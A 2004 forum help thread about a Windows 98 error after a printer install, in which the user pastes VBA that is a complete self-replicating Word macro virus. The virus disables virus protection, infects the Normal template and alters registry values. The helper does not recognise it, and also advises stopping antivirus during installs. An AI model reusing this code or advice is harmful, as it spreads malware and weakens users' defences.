Buffer overrun detected - How do I diagnose? 1

[brian4321]

Greetings,
Buffer overrun detected - How do I diagnose?

I use Windows 98 SE - When I attempt to load IE or Windows explorer I receive this message:

Microsoft Visual C++ Runtime Library
Buffer overrun detected
Program C:\WINDOWS\EXPLORER.EXE
A buffer overrun has been detected which has corrupted the program's internal state. The program cannot safely continue execution and must now be terminated. OK

When I click OK the system hangs and I need to reboot - the only thing I've done differently is to install a new printer - is this somehow using extra system resources?

Is there a way to control the buffer? Any direction on where to start would be appreciated..
Thanks

 

[TekTippy4U]

Try this;
Go Start>Run MSCONFIG
Advanced Tab
"Use SCSI Double Buffering".
Restart as prompted
Report back

TT4U

Notification:
These are just "my" thoughts....and should be carefully measured against other opinions.
Backup All Important Data/Docs..All involved shall be spared the grief.

 

[brian4321]

Thanks TT4U

I can see "Use SCSI Double-buffering"
But, It's "low lighted" and won't allow me to access it.

How do I highlight it?

Thanks Again

 

[TekTippy4U]

You mean "greyed out" ..
that's normal as I was expecting, if it's also "checked"...is it???

First, Unhook and unplug the Printer, then Uninstall the Printer Program through Control Panel>Add/Remove Programs....and Remove the printer from Printers Folder, by right click and Delete
Then Reboot.....
same error??? or hopefully not.

I see win98 SE
Did you upgrade from 95 or did a "clean full installation"

It could also very well be a virus/trojan/worm
though I doubt it, since you say new printer install, yet worth checking

have u run an up to date AntiViral program??
I could send you to free on-line scanners and AV progs

These lines should look like this in these locations
Start>Run MSCONFIG
System.ini tab
[boot]
Shell=Explorer.exe

Win.ini tab
[Windows]
Run=
Load=

Do they?
Try to answer all above...

Plus, after you post back....
I may tell you to use Scanreg /restore
to go back in time....

TT4U

Notification:
These are just "my" thoughts....and should be carefully measured against other opinions.
Backup All Important Data/Docs..All involved shall be spared the grief.

 

[brian4321]

TekTippy4U (TechnicalUser) Jan 25, 2004
You mean "greyed out" .. yes
that's normal as I was expecting, if it's also "checked"...is it??? yes


First, Unhook and unplug the Printer, then Uninstall the Printer Program through Control Panel>Add/Remove Programs....and Remove the printer from Printers Folder, by right click and Delete
Then Reboot.....
same error??? or hopefully not. YOU'RE RIGHT, THE SYSTEM WORKS FINE WHEN I REMOVE THE PRINTER but when I reinstall the printer the error resurfaces again

I see win98 SE
Did you upgrade from 95 or did a "clean full installation" - Clean full installation

It could also very well be a virus/trojan/worm
though I doubt it, since you say new printer install, yet worth checking

have u run an up to date AntiViral program?? I have an older version of Norton which I've been meaning to upgrade
I could send you to free on-line scanners and AV progs - I would appreciate access to the free on-line scanners and AV progs tproud20@yahoo.com

These lines should look like this in these locations
Start>Run MSCONFIG
System.ini tab
[boot]
Shell=Explorer.exe

Win.ini tab
[Windows]
Run=
Load=essspk.exe

Do they? The lines look as you depicted above except Load= essspk.exe
Try to answer all above...

Plus, after you post back....
I may tell you to use Scanreg /restore
to go back in time....

TT4U

Thanks for your help tt4u

 

[TekTippy4U]

That seems Ok;
Essspk EssSpk.exe

From a reference;

http://www.answersthatwork.com/Tasklist_pages/tasklist_e.htm

---------------------------------------------------------
(ESS Technologies) Call waiting task which gets installed by the drivers for V92 modems based on ESS Technologies chipsets. If you enable the call waiting facility, and your telephone line has the capability, and someone calls you while you are browsing the Internet, a popup comes up on the Taskbar, ESSSPK, informing you of the call and which number is calling you. You can decide to ignore the call or to accept it : if you accept it, your Internet connection is disconnected and your modem and/or phone rings.

Recommendation :
Some versions of ESSSPK cause Blue Screen Fatal Exceptions. If this happens to you, see if upgrading to the latest drivers for your modem solves the problem. If not, then disable call waiting.
------------------------------------------------------------

Now,
I don't "think" this is your issue....

What kind of Printer Make/Model???
...USB???
Latest Drivers???
from Manu.Website???
Do you Have a Full Win98 CDROM???

Also have another thing I think is the real issue here;
Give me a few minutes....gotta work on it

Oh yeh;
I can post the free AV right here , no prob...BUT You'll need to uninstall you're Norton,...You don't want 2
running at once....
Let's let this alone for just right now, till the printer thing is cleared up hopefully..Right now from what I know, I don't think it's a virus/worm....

Some Basic Guidelines to follow;
********
You should follow these procedures below, when installing anything ("after" you've scanned any d/loaded files from internet for virii of course)....Basically, if you ever need to d/l a file or program, first d/l from a trusted source, view for "signing" and a "valid certificate", and then SCAN the d/l file for viruses, then go "off-line", restart, kill unnecessary tasks after a full boot, and then (unzip if necessary) and finally install program/click the executable....

Do all installations/deleting/renaming "off-line" , close all other programs and shut down all unnecessary running tasks....leave _Explorer_ and _SysTray_ only (Yes, stop even firewalls and Anti-virus software)....using CTRL+ALT+DEL to bring up the "close program" dialog box and kill/end tasks.
***************

TT4U

Notification:
These are just "my" thoughts....and should be carefully measured against other opinions.
Backup All Important Data/Docs..All involved shall be spared the grief.

 

[TekTippy4U]

Ok;
Now for the tricky part;

Could be;
1. Tasks and Processes running in the background
2. Corrupt Wininit.exe and Wininit.ini files(Replaceable from 98CD)
3. Load= line is already in use causing buffer overflow
4. Virus/Trojan/Worm/Spyware/Malware etc...
-----------------------------------
Remember-- if you have to use CTRL+ALT+DEL to bring up the "Close Program" box to Kill running Tasks and Processes, ALWAYS leave Explorer and SysTray alone, as it'll crash and shutdown the system....

Let's do one at a time., OK, in order above

Only if it's a Parallel Port Printer, not USB (that's why I asked)
Uninstall all Printers and Software like before, then
Go Start>Run MSCONFIG
untick all but SystemTray, ScanRegistry (You won't see Explorer listed here, cause it's loaded from the System.ini file, before the startups)
Restart to take effect
Start>Shutdown>shutdown

Hook up printer, Plug it in, Don'tTurn it on
Boot up
Put in Printer Installation CDROM and press and hold SHIFT key (usually 6-10 seconds) to override AutoRun....if AutoRun Starts, close the program
Go to Start>Settings>Printers Folder
Click ADD PRINTER
Use Port LPT1 if it asks,...unless you're using it for something else
Point to your CDROM Drive for drivers and install
If all works out, we'll uncheck all the startups in MSCONFIG (click "Normal Startup" on the General Tab)

TT4U

Notification:
These are just "my" thoughts....and should be carefully measured against other opinions.
Backup All Important Data/Docs..All involved shall be spared the grief.

 

[brian4321]

Thanks TT4U
It works!! With one little glitch (see below) - at least I can print and IE runs as well. Big step forward

The printer is an Epson Stylus CX 3200 connected through the USB using their supplied drivers.

AS per your instructions I de-installed the printer one more time and re-installed in "manual mode"
In MS-config I switched to "Normal Setup" (I had been on "Selective startup&quot
But now when I attempt to load an MS Word file I receive the following message

Micro Soft Visual Basic
Compile Error

Member already exists in an object module from which this object module derives. OK Help

When I click Ok the Microsoft Visual Basic screen appears with 50 lines of code displayed - I've included the code for your perusal (note how they all the lines seem to refer to the CX 3200 printer)

I close the MS Visual Basic screen which allows the Word document to appear and nothing else seems to occur - I'm concerned that this may be a warning sign the problem is not 100% removed. What do you think?

Thanks again for your advice TT4U




Here's a copy of the code:
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long 'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Const REG_SZ As Long = 1
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Const HKEY_CURRENT_USER As Long = &H80000001
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Const HKEY_LOCAL_MACHINE As Long = &H80000002
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Sub AutoOpen()
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
On Error GoTo out
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Options.VirusProtection = False
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Options.SaveNormalPrompt = False
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Options.ConfirmConversions = False
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If nt > 70 And ad > 0 Then GoTo out
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If nt < 70 Then
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
ActiveDocument.VBProject.VBComponents.Item(1).Export &quot;c:\class.sys&quot;
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End If
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox &quot;I Think &quot; & Application.UserName & &quot; is a big stupid jerk!&quot;, 0, &quot;Class.Poppy&quot;
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
host.codemodule.AddFromFile (&quot;c:\class.sys&quot
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
With host.codemodule
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
For x = 1 To 16
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.deletelines 1
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Next x
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End With
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If nt < 70 Then
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
With host.codemodule
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.replaceline 1, &quot;Sub AutoClose()&quot;
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.replaceline 91, &quot;Sub ToolsMacro()&quot;
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
For x = 70 To 81
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.deletelines 62
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Next x
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.replaceline 35, &quot; For x = 1 To 4&quot;
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End With
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End If
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If nt < 70 Then
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, &quot;Software\Microsoft\Windows\CurrentVersion&quot;, 0, KEY_ALL_ACCESS, k)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
u = RegSetValueExA(k, &quot;RegisteredOwner&quot;, 0, REG_SZ, &quot;VicodinES /CB /TNN&quot;, 1)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
u = RegSetValueExA(k, &quot;RegisteredOrganization&quot;, 0, REG_SZ, &quot;-(Dr. Diet Mountain Dew)-&quot;, 1)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
u = RegCloseKey(k)
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End If
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
With host.codemodule
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
For x = 2 To 104 Step 2
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
.replaceline x, &quot;'&quot; & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Next x
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End With
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
out:
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End Sub
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
Sub ViewVBCode()
'PT1/22/04 2:50:20 PMEPSON Stylus CX3200 on EPUSB1:How display in Tek tips
End Sub [/code]

 

[TekTippy4U]

Well, I'm glad it works to a degree for you, and I'm really at a loss with deciphering compiled code. I can think of a thousand diff things to try, and in varying degrees/order, but some thoughts just the same....

1. What does your Win.ini Load= say now? Remove any lines from here, Restart, Try for VB Error.... is that essspk.exe really necessary? Real possibility of poorly written software and System Hooking. You may want to think about ditchin' that prog. (Uninstall it from Add/Remove Programs in ControlPanel)

Do you have all available USB updates from MS??
Use MSinfo32 to view &quot;System Resources&quot; percentage in Right Pane (possibly too many startups)

If you choose to NOT UPDATE your Norton AV;
Find a Site you like for AV software and Online Scanning from list Below FIRST, Add site to your Fav's, then go &quot;offline&quot;, Uninstall Old Norton , and then Go Directly to Scanning Site and perform Online Scan...If no VIRUS or probs... GO OFFLINE and INSTALL NEW or UPDATED AV SOFTWARE....Try for VB error after uninstalling Old Norton, before going back online, as OutDated Virus Scanners can cause all kinds of weird stuff
(or Update it, if you Update it then Online scans shouldn't be that necessary, HOWEVER , no one AV proggie catches ALL VIRII)

If User Profiles are enabled, you may have &quot;Double loading&quot; from
C:\WINDOWS\Profiles\Programs\StartUp and
C:\WINDOWS\Start Menu\Programs\StartUp
Use Windows Explorer to see if you have the same entries and
Move all Items from your &quot;C:\WINDOWS\Start Menu\Programs\StartUp&quot; folder
Create a &quot;Disabled Startup&quot; folder and put all the shortcuts in there....
restart
Error Again??

--2. Start>Run MSinfo32
&quot;Software Environment&quot; in left pane
View- Startup Programs, Running Tasks, System Hooks
(they'll change each time you untick and restart using MSCONFIG)
(and/or Ctrl+Alt+Del to &quot;End Tasks&quot

--3. Ctrl+alt+del to bring up &quot;Close Program&quot; box and close each running task, one at a time, see if prob persists and notice when error occurs (process of elimination). Start with anything referring to EssSpk.exe

--4. Uncheck Items in MSCONFIG in groups of 2 or 3 to isolate error and then narrow it down (alot of restarting, this way)

--5. Do you use VisualBasic for Apps..? If so, try re-installing proggie...If just one component (like Scripting) found in IE Setup..Try R-installing that component from MSinfo32 >Tools > IE Repair Tool > Add Component....untick(clear) the VBS box to uninstall, restart and reinstall from same..

In MS-config I switched to &quot;Normal Setup&quot; (I had been on &quot;Selective startup&quot
But now when I attempt to load an MS Word file I receive the following message
It seems that if all can work in &quot;Selective Startup&quot;, then that's the way to isolate the problem...you're loading something on top of itself (looping)....If you see &quot;double entries&quot; in MSCONFIG &quot;Startup tab&quot;, kill the &quot;doubles&quot;,.... (Except for RunDll32.exe powrprof.exe,LoadCurrentPwrScheme, two is normal, though you can kill all instances for testing purposes).

=======================
Worth a look and possibility;

http://support.microsoft.com/default.aspx?scid=kb;en-us;299332

http://support.microsoft.com/default.aspx?scid=kb;en-us;300920

Replace the Wininit.ini and Wininit.exe files from 98 CDROM using SFC
StartMenu>Run SFC
click OK.

Click &quot;Extract one file from installation disk.&quot;
In the &quot;Specify the system file you would like to restore&quot; box, type
WININIT.INI
Click Start.
In the &quot;Restore From&quot; box, Browse to the Windows 98 CD (D:\Win98) (D:,E:,F:,or whatever your CDROM letter is)
(or Navigate to your .cab files on HDD)

In the &quot;Save File In&quot; box,
Browse to C:\WINDOWS
click OK.

Do the Same Procedure for WININIT.EXE
====================

--Scan for Virus/Trojans/Worms etc
AV and Trojan online scanners;

http://www.pandasoftware.com/activescan/

http://housecall.trendmicro.com/

http://www.anti-trojan.net/en/software/free/

http://vil.nai.com/vil/stinger/

AV Free Software Prog;

http://www.grisoft.com/us/us_dwnl_free.php

Other good AV software

http://www.f-prot.com/download/home_user/

probably many more...be aware; Some have Free trial only, and the All Free ones are good, but they have limited or no support, as far as their website telling you how to clean etc.....Look around the website for details and ease of use and updates....and choose *1* and install/run only *1* AV software prog at a time....

TT4U

Notification:
These are just &quot;my&quot; thoughts....and should be carefully measured against other opinions.
Backup All Important Data/Docs..All involved shall be spared the grief.

 

[brian4321]

- excellent ideas - I'll be going through these systematically and let you know the results. I also appreciate the AV and MS link.

Thanks Again TT4U